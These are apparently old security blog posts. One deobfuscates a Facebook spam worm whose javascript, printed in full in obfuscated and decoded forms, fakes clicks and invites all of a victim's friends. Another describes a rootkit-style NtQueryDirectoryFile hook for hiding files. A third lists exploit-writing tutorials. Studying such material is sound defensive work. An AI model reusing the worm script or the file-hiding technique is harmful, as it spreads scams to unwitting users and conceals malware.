Facebook Spam

3 days ago I received an email from Facebook team sent by my old friend who I haven't met since after University graduation. I was abit curious about what he wanted to send me (To be honest I was attracted by the email subject ^_^):

But unfortunately I can't give you the screenshot on how the page really looks like. The page is actually a couple that hugged together naked but of course the important parts are all hidden :). I know someone cannot imagine it by words but please use your creative imagination ;)

Beside this, the main part of this scammer is it includes a combo box with javascript text inside and also instructions on how to copy and paste the javascript code to your browser so that you can see this naked couple. The script looks like this:

javascript:(function(){a='app118802484821085_YCbbZr';b='app118802484821085_ZKOHsY';qDDgEj='app118802484821085_qDDgEj';ZsMtqA='app118802484821085_ZsMtqA';nQMzbQ='app118802484821085_nQMzbQ';eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x7 \2|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6

x78|x2E|x44|document|nQMzbQ|fs|SocialGraphManager|ZsMtqA|qDDgEj|||||||'.split('|'),0{}))})();

By looking at this obfuscated javascript code, I decided not to believe my friend and tried to debug the script and see what it actually does. Here is the result of after the deobfuscation of the first layer obfuscation:

var _0x95ea=[\"\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79\",\"\x73\x74\x79\x6C\x65\",\"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\",\"\x68\x69\x64\x64\x65\x6E\",\"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C\",\"\x76\x61\x6C\x75\x65\",\"\x73\x75\x67\x67\x65\x73\x74\",\"\x6C\x69\x6B\x65\x6D\x65\",\"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73\",\"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74\",\"\x63\x6C\x69\x63\x6B\",\"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74\",\"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74\",\"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C\",\"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D\",\"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\",\"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67\"];
d=document;
d[_0x95ea[2]](nQMzbQ)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];
s=d[_0x95ea[2]](_0x95ea[6]);
m=d[_0x95ea[2]](_0x95ea[7]);
c=d[_0x95ea[9]](_0x95ea[8]);
c[_0x95ea[11]](_0x95ea[10],true,true);
s[_0x95ea[12]](c);
setTimeout(function(){fs[_0x95ea[13]]()},5000);
setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);
setTimeout(function(){m[_0x95ea[12]](c);
d[_0x95ea[2]](ZsMtqA)[_0x95ea[4]]=d[_0x95ea[2]](qDDgEj)[_0x95ea[5]]},5000);

It is fairly easy now to understand what the script does. After replacing the array element _0x95ea, the final script will look like this:

a='app118802484821085_YCbbZr';
b='app118802484821085_ZKOHsY';
qDDgEj='app118802484821085_qDDgEj';
ZsMtqA='app118802484821085_ZsMtqA';
nQMzbQ='app118802484821085_nQMzbQ'
var _0x95ea=["visibility","style","getElementById","hidden","innerHTML","value","suggest", "likeme","MouseEvents","createEvent","click","initEvent","dispatchEvent","select_all","sgm_invite_form", "/ajax/social_graph/invite_dialog.php","submitDialog"];
d = document;
d['getElementById'](nQMzbQ)['style']['visibility'] = 'hidden';
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);
setTimeout(function () {
fs['select_all']()
}, 5000);
setTimeout(function () {
SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
m['dispatchEvent'](c);
d['getElementById'](ZsMtqA)['innerHTML'] = d['getElementById'](qDDgEj)['value']
}, 5000);

It seems to be a javascript function that utilizes FBML (Facebook Markup Language) that will suggest a defined application to all your friends in your friend's list.

@Lucas, if you see this please check your machine. Your machine is potentially compromised and infected!

Signing off
~x9090

[DOC] Inline Hook NtQueryDirectoryFile

Inline Hook NtQueryDirectoryFile

Hola!

There are a lot of sample source codes available on Internet about hooking on NtQueryDirectoryFile/ZwQueryDirectoryFile to achieve Windows file hidding capabilities but there are mostly using driver.


It is nothing new anymore and has been discussed throughout the Internet and even the algorithm had been around a few years back. One of my favourite articlesHoly Father's Invisibility on NT boxes, How to become unseen on Windows NT has digged deeply on a few stealth techniques on Windows. One of these stealth techiques is file hidding.

A short demo video:

The source code can be downloaded here.

Update: [10/05/2010]

Alternative download link: http://www.4shared.com/file/7jaxJs2K/inline_hooks_ntquerydirectoryf.html

Please note that the program does not work under Vista/Windows 7. In order to hide files in Vista or higher OS, you have to use FileIdBothDirectoryInformation in FileInformationClass.

Signing off.
@x9090

[TUTORIAL] Exploit Writting Tutorial From Basic To Intermediate

Exploit Writting Tutorial From Basic To Advanced


There are increasing number of bloggers who like to share thier knowledge in exploit especially the topic on how to create and write your own exploit.

In this post, I would like to combine the exploits tutorial that I have came across. This is not the comprehensive collection but at least its a good starting point for exploits beginners.

BASIC

David Hoelzer tutorial that is intended for application/software developers from SANS Institude. For application/software developers, the overall presentation is meant to explain the basic concept of buffer overflow, how does it occurs, how to exploit it using manual/automation way and create the exploit using metasploit and automate the exploitation process.

The source code of the vulnerable server can be found on his blog.

The video tutorials can be downloaded here

-- Reference: http://www.enclaveforensics.com/Blog/files/e6fb7327cb615688f90fc07656a3880d-28.html


INTERMEDIATE

I consider this as intermediate and focus more on the real application exploit. Lupin from The Grey Corner explains exploit from basic to intermediate level with step by step debugging. Here is the summary:

1. Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html
2. SEH Stack Based Windows Buffer Overflow Tutorial - http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html
3. Windows Buffer Overflow Tutorial: Dealing with Character Translation - http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html 
4. Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability - http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html
5. Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump - http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html

 
-- Reference: http://grey-corner.blogspot.com


ADVANCED

Peter Van Eeckhoutte is the first one who started this exploit tutorial (at least he is the first one who has provided most comprehensive guides on exploit development and keeps updating from time to time that I have ever seen).

Peter Van Eeckhoutte

1. Exploit writting tutorial part 1:Stack Based Overflows - http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
2. Exploit writting tutorial part 2: Stack Based Overflows - jumping to shellcode - http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
3. Exploit writting tutorial part 3: SEH Based Exploits - http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
4. Exploit writting tutorial part 3b: SEH Based Exploits - just another example - http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
5. Exploit writting tutorial part 4: From Exploit to Metasploit - The basics - http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
6. Exploit writting tutorial part 5: How debugger modules & plugins can speed up basic exploit development - http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/
7. Exploit writting tutorial part 6: Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
8. Exploit writting tutorial part 7: Unicode - from 0x00410041 to calc - http://www.corelan.be:8800/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
9. Exploit writting tutorial part 8: Win32 Egg Hunting - http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
10. Exploit writting tutorial part 9: Introduction to Win32 shellcoding - http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

-- Reference: http://www.corelan.be:8800


If you have any nice exploit tutorials, please feel free to leave a comment here to share with others :)

Thanks!

Update:
- Part 5 from grey-corner [24/04/2010]